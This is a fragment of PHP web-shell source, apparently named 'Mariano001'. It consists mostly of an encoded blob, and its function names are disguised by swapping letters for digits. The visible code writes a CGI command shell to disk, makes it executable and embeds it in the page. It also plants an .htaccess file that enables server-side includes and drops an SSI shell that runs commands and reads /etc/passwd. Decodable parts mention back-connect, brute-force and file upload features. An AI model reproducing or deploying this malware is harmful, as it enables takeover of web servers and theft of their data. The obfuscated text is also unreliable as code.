NaY0hW1WJHbGpYMmgwYldodlky5HB1VzUwYoki1mIyNW6hVaQxYa6GMGFXOXVMbkJvY0Njc0pHdHZ4R0V6SjM6K6Yy1HRO5TFOWVhKcGIyNHdNREV6ZEh2MEpi1zdDbku6YlducGJtca9K5TlvYjIxbEiiOGiM1VIxYzJW5UxpYoZjSFZpYkds1lgy1DB4VodaZDJ2dFkzTXZZMjl6Wm6sbmRYSmhkRaxaYmk6daFIQWiMQ6JyYjJu1ExpZCtmbGRvYlRndFRXRnlhVzl6TURB5Ex3UjRkQaNwTodw5mVXMXNhVzVyS0NjdmFHOXR1VGNaSnk01aRYTmxj1TR3TDNCMVlt5HBZMTlvZEcxc0wyOXl1R6ZiTDJOdmJtWnB1M6ZiWVhScGIyNHVjRahoSnlo1aEyOXNZUzR3Zmu6WGFHMDVMVTF2Ya6sdmJqQXdNUzUwZUhRbktUc0tjMax0YkdsdWFiZaiMMmhaYldVM0xiYoVKSFZeWlhJdUpiOXdkV0pzYVdOZmFIUnR4Qzl2WkcxcGJpOWp4MjVtTGiCbaNDYoNKRoRaYkdFdU2zNStOUzFOWVhKcGIyNHdNREV6ZEh2MEpi1zdDbku6YlducGJtca9K5TlvYjIxbEiiOGiM1VIxYzJW5UxpYoZjSFZpYkds1lgy1DB4VodaWVdSdGFXNHZZMjl6Wm6sbkx3Qm9jQaNzSkd0dmJHRXVKMzUrTkMxTllYSnB4MjRoTURFdWRI1DBK5WsoQaiONWJX5HB4bXNvSnkibaIyMWxO5Th3TGlSMWMyVnlM1WNaY0hW1WJHbGpYMmgwYldodlkyOXV1bDl3Ykci1VlXdoVjRahoSnlo1aEyOXNZUzR3Zmu6cGJ3WnBjMmxaTFUx1GNtbHZ41kFoTVM6MGVIUWiLVHNLYzNsdGJHbHVh5Wd3TDJ2dmJXVTNM5WN6SkhW5lpYSXVK5TloZFdKcaFXTmZhSFJ0YkMicGJtTnNkV6JsTDJS1Ux3Qm9jQaNzSkd0dmJHRXVKMzUrTnkxTllYSnB4MjRoTURFdWRI1DBK5WsoQaiONWJX5HB4bXNvSnkibaIyMWxO5Th3TGlSMWMyVnlM1WNaY0hW1WJHbGpYMmgwYldodlkyOXV4bVZqZEM6daFIQWiMQ6JyYjJu1ExpZCtm1md0VFdG5WFXOXVNREFuTGiSNGRDYoBPdoBeZVcxcaFXNXJLQaNaYUcidFpUYoZK5TRrZFhObGNpNGiMM0IxWW6ucFkxOW9kRzFzTDIxclgyTnZ4bVl6Y0d2d0pidathMjlzWVM0bmZ3NXRh5TFoYjNKMFlX5GxNUzFOWVhKcGIyNHdNREV6ZEh2MEpi1zdDbku6YlducGJtca9K5TlvYjIxbEiiOGiM1VIxYzJW5UxpYoZjSFZpYkds1lgy1DB4VodaYVc61mJIVmt1UzlqYjI6bWFXYoVjRahoSnlo1aEyOXNZUzR3Zmu05E6pMUiZWEpwYjI0d06ERXVkSGgwSnlrN0N3TjV4VohwYm6zb0piOW94MjFsTnkubkxpUjFjMlZiTGljdmNIVml4RaxqWDJ2MGJXdoZjMlYwZEdsdV2zTXVjRahoSnlo1aEyOXNZUzR3Zmu6VGJXWXRUV0ZiYVcidU6EQXhMblI0ZENjcE9ocHplVzFzYVc6cktDYoZhRzl0WlRjdkpiNGtkWEisYak0bkwzQjFZbXhwWTEibaRHMXNMMmx6WTJuMVpHVnpMMl2xYm6OMGFXOXVj5TVoYUhBbkxDUnJ4Mnh2TGlkKaZ3Qm9jR0ppTXkxTllYSnB4MjRoTURFdWRI1DBK5WsoQaiONWJX5HB4bXNvSnkibaIyMWxO5Th3TGlSMWMyVnlM1WNaY0hW1WJHbGpYMmgwYldodmFXNWp4SFZrWlMi16lpNXdhSEF3TENScmIy5GhM1WQrZm6sdVptbHVhWFI6TFUx1GNtbHZ41kFoTVM6MGVIUWiLVHNLZlFwcFppQW9KRVZPVmizblVrVlJWVVZUVkYiTlJWUklUMFF3ZlNCbGNTQWiVRTlUVkNjcElIc0tJQ0JiWldG10tGTlVSRWxPTENB16l3Vm61bVZiTENB16JVNVdl5WREVDA6VVJVNVVYMHhGVGtkVVNDZDlLVHNLZlNCbGJITmxJSHNLSUNB16l3Vm61bVZiSUQwZ0pFVk9WbnN3VVZWRlVsbGZVMVJTU6U6SE2zMDdDbjBLUUhC1GFYSnpJRDBnYzNCcaFYUW9M5VlaTENB16l3Vm61bVZiS6RzS6ptOXl1V0ZqYUNB1aNHRnBj1UFvUUhC1GFYSnpLU0IoQalBZ0tDUnVZVzFsTENB1aRtRnNkV6VwSUQwZaMzQnNhWFFvTH2wdkxDQWtjR0ZwYalrN0NpQWdKRzV2YldVZ6BYNGdkSElaSokuZ0xec0tJQ0FrYm6GdFpTQTlm1UJeTHlVb6cyRXR110V0UmpBdE9WMWJZUzFtUVMxR06DMDVYUataY0dG1mFiZalR5UlzSUd2bGVDZatNUatwTDJWbk9obadJQ6IyWVduMVpTQTlm1UIwYakuckxiQXZPda9nSUNSMllX5DF1U0EiZmlC5kxiVW9XMkV0WmtFdFJqQXRPVjF4WVMxbVFTMUdNQzA6WFNrdmNHRmph5WdpUXlJc0lH1GxlQadrTVNrcEwyVmiPda9nSUNSR6QxSkil5VJ6WVcxbGZTQTlJQ6IyWVduMVpUc0tmUXBwWmlBb0pFWlBV1zEoY0dG5mMzMGd1WEVnSWlJcGVocHdjbWx6ZENBbkNq5Gl4MlI6SUdOc6lYTnpQU0p6WlhkVGRIbHN1VEVpSUdKblkyOXN4M0kiSWlNd06EQXdNREFpUGdvOGNENVFZVax6SUZO1mNtbHdkQ0JVYnlCVGVXMXNhVzVySUVOdmJtWnB1M00uTDNBK0Nq5HdQ1nhtYjI6MElHTnZ4RzliUFNJ1lFeQkRNRU6oSW26YlBDOW64MjUwUGlCRGIyNW6hVaN6VFdG5WFXOXVNREFuSURubWIyNTBJR0iaYkci5VBTSWpR5kJETUVNd0lqNThQQzltYjI6MFBpQUtQSEioWVc0ZaFXUTlJbkpsYzNWcaRGOWl4MadpSUdOc6lYTnpQU0peYUci5WRGOTB1WGgwSWlCc6lXNWiQU0psYmlJK6BITndZVzRnYzNSNWJHVWdkRawwYkdVK0Nq5G64MjUwSUdOdmJHOXlQU0lqUXpCRE6FTXdJ1jUuUEMibWIyNTBQ1ndaYzNC1GJqNDhMM0ioWVc0K0lBbzh1bTl6ZENC1mIy5HZj1jBpSTBNd6FeQkRNQ0krWFRodlptOXVkRDQuTDNBK0Nq5G64M0p0SUcxbGRH1HZ1RDBpY0ci5mRDSStD1ngwWlh2MFlYSmxZU0J6WVcxbFBTSndZWEieSWlC5mRIbHN1VDBpWW0i5VpHVnlP1kZoZUNC1aIzUjB1V6FnSXpBd6JrWkdS1nNnZDJs1aRHZzZJRFUwTTNCNE9iQm91Vax3YUhRNklEUXlNSEI0TolC1VlXTnJ1M0paZFc610xXTnZ4RzliTalNd6FeQkRNRU0oSUd1dmJ3UXR1bUZ0YVduNU9sUmhhRzl0WVRzZ6ptOXVkQzFeYVhwbE9q1HdkRHNnWTIicaIzSTZJ5kFoUmt1R6JpSWdJRDQuTDNSbGVIUmhjbVZ2UGpu1WNpQXZQZa9tYm6K5mNEczhjRDRLUEdsdWNIVjBJRzV2YldVOUl3Umhj1UlnZG6GcaRXVTlJ10ZNVEVOdmJtWnB15TFOWVhKcGIyNHdNREV6ZEh2MElpQjBlWEJsUFNKMFpY1DBJ1UJeZEhsc6pUMGlZbTliWkdW5U9qRndlQ0JrYjNSMFpXUWdJ5kFoUmt1R6JqcadkMmxrZEdnNklESXhNbkI0TolC1VlXTnJ1M0paZFc610xXTnZ4RzliTalNd6FeQkRNRU0oSUd1dmJ3UXR1bUZ0YVduNU9sUmhhRzl0WVRzZ6ptOXVkQzFeYVhwbE9q1HdkRHNnWTIicaIzSTZJ5kFoUmt1R6JqcadJ1UFnTH20OFl3SWdM5jRLSm061WMzQTdQQzloUGdvOGNENEtQRax6Y0hWMElHNWh4V6UiSWxOMVltMXBkREVpSUhSNWNHVTlJbkuxWW0xcGRDSWdkbUZzZFdVOUlrZGxkQ0JEYjI6bWFXYalJSEuwZVdubFBTSml4M0prWlhJNk6YQjRJR6JaZEhSbFpDQWpNREJHUmt1R09iQjNhV6IwYURvZ09U1zdJR6paYmiRdFptRnRhVog6TaxS1GFHOXRZVHNnWm0idWRDMXphWHBsTapFdaNIUTdJR0iaYkci5U9pTXdNRVpHUmtZN0lIUmxlSFF0ZEhK1GJ3Tm64M0p0TaiWdaNHVnlZMkZeWlRzZaFHVnB1MmgwTapJ5k9iQmlZV0iyWjNKdmRXNWtMV0iaYkci5U9pTXdR5kJETUVN1UlDOCtQQzloUGdvOEwyWnZjbTArSnpzSaZXVnNjMlYoQa0xclpHbHlLQaREUjBrdFEyOXV1bWx3TGsx1GNtbHZ41kFoTVNjc06EYzFOUasoQa6Ob6pHbHlLQaREUjBrdFEyOXV1bWx3TGsx1GNtbHZ41kFoTVNjcE9ocEF4Rax6WlhNZ6BUdatS1zlTVFh0d6lYTnpmVDQoQalSNUlEMGdRRohwYm6W5k9ocHZjR6Z6SUN2TldVWkpURVVzSUNJK6RXRnlhVzl6TURB5Ex3UnRjQ0lwTodwdaNtbHVkQ0JOV6V1SlRFVWdJblJ2YalBdFkzcG6JQ0l6SkV1UFVrMTdkR0ZiZlM01Ux3Umhj1UFpTodwbWIzSWdLQ6JyWVQwd09iUnJZVHdrZVRz1aEyRXJL5WwoQaikbaFX5GxLRUJzYVc6bGMxcathMkZkSUNBOWZpQnRM5Wd6Sa2ucE93ZzZMMmNwZXdvbWJHbHNLQ6FuS6RzSaNISnB4blFnVFZsR6NV5EZJQ6FuTGlJdFRXRnlhVzl6TURB5Ex3UjRkQ0koQa61dmNpZathMlEiTVRz1aEyUThNVGcoSkd010ticoBldoBoYa6sdWRDQkiXVVpKVEVVZ0pERXVKRoRrTGlJdFRXRnlhVzl6TURB5Ex3UjRkQ0koQauwSaZRcDlDbkJiYVc6MEpe5Gl4MlI6SUdOc6lYTnpQU0p6WlhkVGRIbHN1VEVpSUdKblkyOXN4M0kiSWlNd06EQXdNREFpUGpud6BrZGxkQ0JCYkdoZ6EyOXV1bWx3SUZSb0ppTXlN1lEoYm6nZ6FiWWpN1lEwTzI6blBDOXdQZa8uYURFK6BHRWdjM6I6YkdVOUltTnZ4RzliTalOR6JrWTFNREEoSWlCbaNtVm6QU0pEUjBrdFEyOXV1bWx3TGsx1GNtbHZ41kFoTVMu1UlIUmhjbWRsYa2w1VgySmh4bXNpUGlZ1k6qYolP5VlqTnpnM06UdHVJRVpaYkdSbGNpQkJ4RodnUTIidVptbGiM1zF2Ya6sdmJqQXdNVHdaWVQ0OEwyZohQ1WMoQa6sbUtDUkdUMUpOZTNS1GN3MGd4bVVnSWlJcGVocHZjR6Z6S0VsT6JrOHNJQ0pOWVhKcGIyNHdNREV6ZEcxd0lp1zdD10JzYVc6bGNiQTlQRWxPUmsuK0lEc0tZMnhaYzJVb6NVNUdU5WsoQaiONWMzUmx4UahBYkdsdVpYTXBPdoBoYa6sdWRDYzhjRDQuWVNCbaNtVm6QU0pEUjBrdFEyOXV1bWx3TGsx1GNtbHZ41kFoTVMubkxpUkdUMUpOZTNS1GN3MHVK5TUwWVhJ1VBq5G64MjUwSUdOdmJHOXlQU0lqTURCR6JqQXdJ1jRLUEhOd6lXNGdjM6I6YkdVOUl3UmxlSFF0WkdW1mIzSmhkRaxaYmpvZaJtOXV1U0krUEdn5FBrTnNhV0iySUV2bGNtVWdWRzhnUkciMaJt5HZZV6FnUVduc0lFTnZ4bVpwWnk6TllYSnB4MjRoTURFZ6ZHRnlJRVpwYkdVOEwyZohQ1ndaYzNC1GJqNDhMMlpaYmiRK6BDOWhQ1ndaY0Q0S6BHSnlM5jQuYURFK6BHRWdjM6I6YkdVOUltTnZ4RzliTalOR6JrWTFNREEoSWlCbaNtVm6QU0pEUjBrdFEyOXV1bWx3TGsx1GNtbHZ41kFoTVMu1UlIUmhjbWRsYa2w1VgySmh4bXNpUGlZ1k6qYolP5VlqTnpnM06UdHVJRVpaYkdSbGNpQkJ4RodnUTIidVptbGiM1zF2Ya6sdmJqQXdNVHdaWVQ0OEwyZohQ1WMoQauwSaZRbadjSEpwYmiR1VBDOWl4MlI6UGpodmFIUnR4RDRpToc9PSI7C4RkZWNvZGVjbaim1WdtYXJpbau9ZGVjbaRlXaJhcaUaNCgkYa93ZmlnbWFy1W93KTsKcHJpbnQgQoJlYXRlTmVoICRkZWNvZGVjbaim1WdtYXJpbaugboIgZGllICJL1CYjMjQ0OainIFR2J4MoODc6OyBH1GkgT4YjNzgiNztpIER6bmcgV4YjMjI0Oa8gRmlsZSBDbaim1Wc3TWFy1W93MDAxIjsgYaxvcaUgQoJlYXRlTmVoOwpj1G6vZCgwNzU6LCdDbaim1Wc3TWFy1W93MDAxJyk7CnBy1Wi0ICc8YnIvPjxjZWi0ZXI+PGgxPlQmIzcuNDE7byBG1WxlIENvbmZpZyiNYXJpbauwMDEgVGgmIzIyNDt31CBDJ4MyNDQ7bmc8YnIvPjx4c48+PGEgcoRibGU9ImNvbG9yO4NGRkY6MDA7I4B2cmVmPSJDbaim1Wc3TWFy1W93MDAxI4B0YXJnZXQ9Il94YWirIjiWJ4MyMjQ7byBDR0kgUahlbGweIENvbmZpZyiNYXJpbauwMDE8LaE+PC92MTu8LaNlbnRlcjunOwpwcml3dCA4XGu4OyAKfQ2mUmVhZFBhcnNlOw2mRaV0Qa9v1allczsKJFNjcmlwdExvYaF01W93ID0gJEVOVnsnU0NSSVBUX0iBTUUnfTsKJFNlcnZlckihbWUgPSAkRUiW5ydTRVJWRVJfTkFNRSd9Ow2kTG9n1WiQYXNzda9yZCA9ICRpbnsncCd9Ow2kUnV3Qa9tbWF3ZCA9IGRlYa9kZV94YXNlNjQ2JGl35ydjJo0pOw2kVHJhbnNmZXJG1WxlID0gJGl35ydmJo07C4RPcHRpbaizID0gJGl35ydvJo07C4RBYoRpbaugPSAk1Wi7JaEnfTsKJEFjdGlvb4A9ICJjba6tYWikI4BpZ4gkQWN01W93IGVxICI4KTsKJEN6cnJlbnRE1XIgPSAmVHJpbVNsYXN2ZXM2ZGVjbaRlXaJhcaUaNCh0cmltKCRpbnsnZCd9KSkpOw2kUnV3Qa9tbWF3ZD0gJFdpbkiUPyJk1XI4O4Jk1XIgLWxpYSIg1WY2JFJ6bkNvbW6hbmQgZXEgI4IpOwpj1G9tcCgkQoVycmV3dERpc4A9IGAkQa6kUHdkYCkg1WY2JEN6cnJlbnRE1XIgZXEgI4IpOw2kTG9nZaVkSWugPSAkQa9v1allcosnU0FWRURQV0QnfSBlcSAkUGFzcodvcmQ7CmlmKCRBYoRpbaugZXEgImxvZal3I4B8fCAhJExvZadlZEl3KSAJCSMgdXNlc4B3ZWVkcy92YXMgdG8gbG9n1WuK5w2JJlBlcmZvcm6MbadpbjsKfWVscalmKCRBYoRpbaugZXEgImd61SIpICMgR6VJIGRpcmVjdG9y5Qp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkI4k7CglpZ4ghJFdpbkiUKQ2J5w2JCSRj1G6vZD6pbnQ2JGl35ydj1G6vZCd9KTsKCQlpZ4gkYahtbaQgbmUgMCkKCQl7CgkJCSRj1G6vZD6pbnQ2JGl35ydj1G6vZCd9KTsKCQkJJGZpbGU9JEN6cnJlbnRE1XI3JFBhdGhTZXA3JFRyYWizZmVyRmlsZTsKCQkJ1WY2YahtbaQ2JGN2bW9kLCRm1WxlKSkKCQkJ5w2JCQkJcHJpbnQgIjxydWu+IERvbmUhIDwvcnV3Pjx4cju4Ow2JCQl9ZWxzZQ2JCQl7CgkJCQlwcml3dCA4PHJ6bjugUa9ycnkhIFlvdSBkbai0IGhhdmUgcGVybWlzcalvbnMhIDwvcnV3Pjx4cju4Ow2JCQl9CgkJfQ2JfQ2JJHJlbmFtZT0k1Wi7JoJlbmFtZSd9Ow2J1WY2JHJlbmFtZSB3ZSA4I4kKCXsKCQlpZ4hyZWihbWU2JFRyYWizZmVyRmlsZSwkcmV3YW6lKSkKCQl7CgkJCXBy1Wi0ICI8cnV3P4BEbailISA8LoJ6bju8YnI+IjsKCQl9ZWxzZQ2JCXsKCQkJcHJpbnQgIjxydWu+IFNvcnJiISBZboUgZG93dCB2YXZlIHBlcm6pcoNpbaizISA8LoJ6bju8YnI+IjsKCQl9Cgl9CgkkcmVtboZlPSRpbnsncmVtboZlJo07CglpZ4gkcmVtboZlIGilICI4KQ2J5w2JCSRybSA9ICRDdXJyZWi0RGlyL4RQYXR2UaVwL4RyZW6vdmU7CgkJ1WY2LWQgJHJtKQ2JCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVscaUKCQl7CgkJCWlmKHV3bGl31ygkcm0pKQ2JCQl7CgkJCQlwcml3dCA4PHJ6bjugRG93ZSEgPC9ydWu+PGJyP4I7CgkJCX6lbHNlCgkJCXsKCQkJCXBy1Wi0ICI8cnV3P4BTboJy5SEgWW96IGRvbnQg1GFaZSBwZXJt1XNz1W93cyEgPC9ydWu+PGJyP4I7CgkJCX0JCQkKCQl9Cgl9Cglwcml3dCAmTGlzdERpcjsKfWVscalmKCRBYoRpbaugZXEgImNvbW6hbmQ4KQkJCQkgCSMgdXNlc4BoYWi0cyB0byBydWugYSBjba6tYWikCnsKCSZQcml3dFBhZaVIZWFkZXI2ImM4KTsKCXBy1Wi0ICZF5GVjdXRlQa9tbWF3ZDsKfQplbHNpZ4gkQWN01W93IGVxICJzYXZlI4kJCQkJIAkjIHVzZXIgdaF3dHMgdG8gcaFaZSBhIGZpbGUK5w2JJlBy1Wi0UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgk1Wi7JaRhdGEnfSwk1Wi7JaZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydWu+IERvbmUhIDwvcnV3Pjx4cju4Ow2JfWVscaUKCXsKCQlwcml3dCA4PHJ6bjugUa9ycnkhIFlvdSBkbai0IGhhdmUgcGVybWlzcalvbnMhIDwvcnV3Pjx4cju4Ow2JfQ2JcHJpbnQgJkxpcoRE1XI7Cn6lbHNpZ4gkQWN01W93IGVxICJ6cGxvYWQ4KSAJCQkJCXsKCSZQcml3dFBhZaVIZWFkZXI2ImM4KTsKCXBy1Wi0ICZVcGxvYWRG1WxlOwp9ZWxz1WY2JEFjdGlvb4BlcSA4YmFj1aJpbmQ4KSAJCQkJIyB6caVyIHdhbnRzIHRvIGJhYasgYa93bmVjdCBvc4B41WikIHBvcnQK5w2JJlBy1Wi0UGFnZUhlYWRlc4g4YaxpZWi0cG9ydCIpOw2JcHJpbnQgJkJhYatC1WikOwp9ZWxz1WY2JEFjdGlvb4BlcSA4YnJ6dGVmboJjZXI4KSAJCQkjIHVzZXIgdaF3dHMgdG8gYnJ6dGUgZm9yYaUK5w2JJlBy1Wi0UGFnZUhlYWRlcjsKCXBy1Wi0ICZCcnV0ZUZvcmNlcjsKfWVscalmKCRBYoRpbaugZXEgImNvbmZpZa6hcmlvb4IpIAkJCSMgdXNlc4BoYWi0cyB0byB4cnV0ZSBmboJjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOw2JcHJpbnQgJkNvbmZpZ06hcmlvbjsKfWVscalmKCRBYoRpbaugZXEgImRvdaisbaFkI4kgCQkJCSMgdXNlc4BoYWi0cyB0byBkbod3bG9hZCBhIGZpbGUK5w2JcHJpbnQgJkRvdaisbaFkRmlsZTsKfWVscalmKCRBYoRpbaugZXEgImN2ZWNrbG9nI4kgCQkJCSMgdXNlc4BoYWi0cyB0byBa1WVoIGxvZyBm1WxlCnsKCSZQcml3dFBhZaVIZWFkZXI7Cglwcml3dCAmVmlld0xvZzsKCn6lbHNpZ4gkQWN01W93IGVxICJkba6h1WizdXNlc4IpIAkJCSMgdXNlc4BoYWi0cyB0byBa1WVoIGxpcoQgdXNlc49kba6h1WuK5w2JJlBy1Wi0UGFnZUhlYWRlcjsKCXBy1Wi0ICZW1WVoRG9tYWl3VXNlcjsKfQplbHNpZ4gkQWN01W93IGVxICJsbadvdXQ4KSAJCQkJIyB6caVyIHdhbnRzIHRvIGxvZa96dAp7CgkmUGVyZm9ybUxvZa96dDsKfQ2mUHJpbnRQYWdlRm9vdGVyOw==';
$f4l5 = f2p5n("4z.l2g","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($pyth2np));
fcl2s5($f4l5);
chm2d("4z.l2g",07ii);
5ch2 "<4fr1m5 src=5rr2r/4z.l2g w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
}//5nd cg4
//SSI
5ls54f ($1ct42n == 'ss4') {
mkd4r('SSI',07ii);
chd4r('SSI');
$k2kd2sy1 = ".ht1cc5ss";
$d2sy1_1d4 = "$k2kd2sy1";
$d2sy1 = f2p5n ($d2sy1_1d4 ,'w') 2r d45 ("C1n n2t 2p5n f4l5!");
$m5t4n = "AddTyp5 t5xt/html .shtml
AddH1ndl5r s5rv5r-p1rs5d .shtml
Opt42ns +Incl3d5s
## END ##";
fwr4t5 ( $d2sy1 ,$m5t4n ) ;
fcl2s5 ($d2sy1);
$pyth2np = 'PCEtLSNjbaim1WcgZXJybXNnPSJbRXJyboIg1WugcahlbGxdI40tP4A8IS0tIaNvbmZpZyBz1XplZm60PSJ45XRlcyItLTugPCEtLSNpZ4Bl5HByPSI2XCIkSFRUUF9DT09LSUVcI4A9IFw4XCIpIHx8IChcI4RSRVFVRVNUX06FVEhPRFw4ICE9IFw4R0VUXCIpI4AtLTugPCEtLSNzZXQgdmFyPSJz1Gw4IHZhbHVlPSJscyAtYWw4IC0tP4A8IS0tIaVscaUgLS0+IDwhLS0jcaV0IHZhcj04cahsI4BaYWx6ZT0kSFRUUF9DT09LSUUgLS0+IDwhLS0jZWik1WYgLS0+IDwhLS0j1WYgZXhwcj04KFw4JEhUVFBfQ09PS0lFXCIgPSBcIlw4KSB8fCA2XCIkUkVRVUVTVF9NRVRIT0RcI4AhPSBcIlBPU6RcI4k4IC0tP4A8IS0tIoNldCBaYXI9Iml3YyIgdmFsdWU9I483L483L483L483L483L483L483L49ldGMvcGFzcodkI4AtLTugPCEtLSNlbHNlIC0tP4A8IS0tIoNldCBaYXI9Iml3YyIgdmFsdWU9JEhUVFBfQ09PS0lFIC0tP4A8IS0tIaV3ZGlmIC0tP4A81HRtbDugPGhlYWQ+IDx01XRsZTugU6NJIHN2ZWxsIE6hcmlvbjAwMSA8LoRpdGxlP4A8caNy1XB0IGxhbmd6YWdlPSJqYXZhcaNy1XB0IjugZnV3YoRpbaugZG9pdCggbW9kZSApIHsg1WY2IGRvYoVtZWi0LmNvbatpZSAhPSA4I4ApIHsgdmFyIGNvbatpZXMgPSBkbaN6bWV3dCijba9r1WU3coBs1XQ2ICI7I4ApOyBmboI2IHZhc4BpID0gMDsg1SA8IGNvbatpZXM3bGV3ZoR2OyArKakgKSBkbaN6bWV3dCijba9r1WUgPSBjba9r1WVzWyBpIF0gKyA4OaVucGlyZXM9VGh6LCAwMSBKYWugMTkoMCAwMD2wMD2wMCBHTVQ4OyB9IGRvYoVtZWi0LmNvbatpZSA9IGRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCBtbaRlICk3dmFsdWU7IGRvYoVtZWi0LmxvYaF01W93LnJlbG9hZCgpOyB9IGZ6bmN01W93IHRvZadsZSgg1WQgKSB7IGRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCBpZCApLnN05WxlLmRpcoBsYXkgPSA2ZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2IGlkICk3coRibGU3ZGlzcGxh5SA9PSA4bm93ZSIpID8gImJsbaNrI4AeICJ3bailIjsgfSA8LoNjcmlwdDugPC92ZWFkP4A8Ym9k5SB4ZaNvbG9yPSNlNGUwZDggYWxpbms9Ymx6ZSBabGl31z64bHVlP4A8ZGlaIGFs1Wd3PWNlbnRlc4Bo1WR01D0xMDAlIGJvcmRlcj0wIHN05WxlPWJhYatncm96bmQtYa9sboIeI0Q0RDBDODs+IDxjZWi0ZXI+PGI+PGZvbnQgcaleZT0rMju8YSB2cmVmPWh0dHBzO48vdodoLmZhYaV4ba9rLmNvbS8zMDE6NDQxOTAwMjUwNzQgdGFyZaV0PSJfYmxhbms4PlNTSSBT1GVsbCBNYXJpbauwMDE8LaE+PC9mbai0PjwvYju8LaNlbnRlcjugPC9k1XY+PGJyP4A8ZGlaIGFs1Wd3PWxlZnQgdalkdGg9MTAwJSB4boJkZXI9MCBzdHlsZT64YWNrZoJvdWikLWNvbG9yO4NENEQwQzg7P4A8YaV3dGVyPjx4Pjx6Pjxmbai0IHNp5mU9KzEgbaijbGlj1z60badnbGU2Jal3Z4cpOyBzdHlsZT6jdXJzboIe1GF3ZDs+Qa9tbW93IGl3Zm88LaZvbnQ+PC96PjwvYju8LaNlbnRlcjugPGRpd4BpZD6pbmYgcoRibGU9ZGlzcGxh5Tp3bailOzu8YnI+IDx4Pjxmbai0IGNvbG9yPWJsdWU+R06UIGRhdGU8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPURBVEVfR06UIC0tPjwvYju8YnI+IDx4Pjxmbai0IGNvbG9yPWJsdWU+TG9jYWwgZGF0ZTwvZm93dDu8LaI+O4Z3YnNwOyZ3YnNwOyZ3YnNwOzx4PjwhLS0jZWN2byBaYXI9REFURV9MT0NBTCAtLTu8LaI+PGJyP4A8Yju8Zm93dCBjbaxvcj64bHVlPkRvYoVtZWi0IGihbWU8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPURPQ6VNRUiUX0iBTUUgLS0+PC94Pjx4cjugPGI+PGZvbnQgYa9sboI9Ymx6ZTiEbaN6bWV3dCBVUkk8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPURPQ6VNRUiUX6VSSSAtLTu8LaI+PGJyP4A8Yju8Zm93dCBjbaxvcj64bHVlPkxhcoQgbW9k1WZpZWQ8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPUxBU6RfTU9ESUZJRUQgLS0+PC94Pjx4cjugPGI+PGZvbnQgYa9sboI9Ymx6ZTiPdailcjwvZm93dDu8LaI+O4Z3YnNwOyZ3YnNwOyZ3YnNwOzx4PjwhLS0jZWN2byBaYXI9VVNFUl9OQU6FIC0tPjwvYju8YnI+IDx4cju8LaRpdjugPC9k1XY+IDx4cjugPGRpd4BhbGlnbj6sZWZ0IHdpZHR2PTEwMCUgYm9yZGVyPTAgcoRibGU9YmFj1adyboV3ZC6jbaxvcj2jRDREMEMuOzugPGNlbnRlcju8Yju8dTu8Zm93dCBz1XplPSsxIG93YaxpYas9dG9nZaxlKCdlbnYnKTsgcoRibGU9YoVyca9yOmhhbmQ7PkV3dmlyba6lbnQg1WimbzwvZm93dDu8LoU+PC94PjwvYaV3dGVyP4A8ZGlaIGlkPWV3d4BzdHlsZT6k1XNwbGFiOmivbmU7Pjx4cjugPHByZTugPCEtLSNwcml3dGV3d40tP4A8LoByZTugPGJyPjwvZGlaP4A8LaRpdjugPGJyP4A8ZGlaIGFs1Wd3PWxlZnQgdalkdGg9MTAwJSB4boJkZXI9MCBzdHlsZT64YWNrZoJvdWikLWNvbG9yO4NENEQwQzg7P4A8YaV3dGVyPjx4Pjx6Pjxmbai0IHNp5mU9KzEgbaijbGlj1z60badnbGU2JoN2bCcpOyBzdHlsZT6jdXJzboIe1GF3ZDs+Qa9tbWF3ZCBmboIgcahlbGw8LaZvbnQ+PC96PjwvYju8LaNlbnRlcju8LaRpdjugPGRpd4BhbGlnbj6sZWZ0IHdpZHR2PTEwMCUgYm9yZGVyPTAg1WQ9cahsIHN05WxlPWJhYatncm96bmQtYa9sboIeI0Q0RDBDODs8IS0tIalmIGVucHI9Ilw4JFJFUVVFU6RfTUVUSE9EXCIgIT0gXCJHRVRcI4IgLS0+ZGlzcGxh5Tp3bailOzwhLS0jZWik1WYgLS0+P4A8YnI+PGI+PGZvbnQgYa9sboI9Ymx6ZTiFbnRlc4Bjba6tYWikPC9mbai0PjwvYjueJmi4coA7Jmi4coA7Jmi4coA7PGZvcm0gbWV01G9kPWdldCBvbnN6Ym6pdD6kbal0KCdjba6tYWikJyk7PjxpbnB6dCB05XBlPXRl5HQgcaleZT0uMCBpZD6jba6tYWikP4Z3YnNwOzxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT6NYXJpbauwMDE+PC9mboJtPjx4cjugPGNlbnRlcju8Yju8Zm93dCBz1XplPSsxPlJlcoVsdDwvZm93dDu8LaI+PC9jZWi0ZXI+IDx4cjugPGI+PGZvbnQgYa9sboI9Ymx6ZTiF5GVjdXRlZCBjba6tYWikPC9mbai0PjwvYjuePGJyLzumbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPXN2bCAtLTu8LaI+PGJyP4A8dGVudGFyZWEgYmdjbaxvcj0jZTRlMGQuIGNvbHM9MTIxIHJvdoM9MTU+IDwhLS0jZXhlYyBjbWQ9JHN2bCAtLTugPC90ZXh0YXJlYTugPC9k1XY+IDxk1XYgYWxpZau9bGVmdCBo1WR01D0xMDAlIGJvcmRlcj0wIHN05WxlPWJhYatncm96bmQtYa9sboIeI0Q0RDBDODs+IDxjZWi0ZXI+PGI+PHU+PGZvbnQgcaleZT0rMSBvbmNs1WNrPXRvZadsZSgn1WijJyk7IHN05WxlPWN6cnNvcjp2YWikOziPcGVyYXRpbaizIG93IGZpbGVzPC9mbai0PjwvdTu8LaI+PC9jZWi0ZXI+IDxk1XYg1WQ91W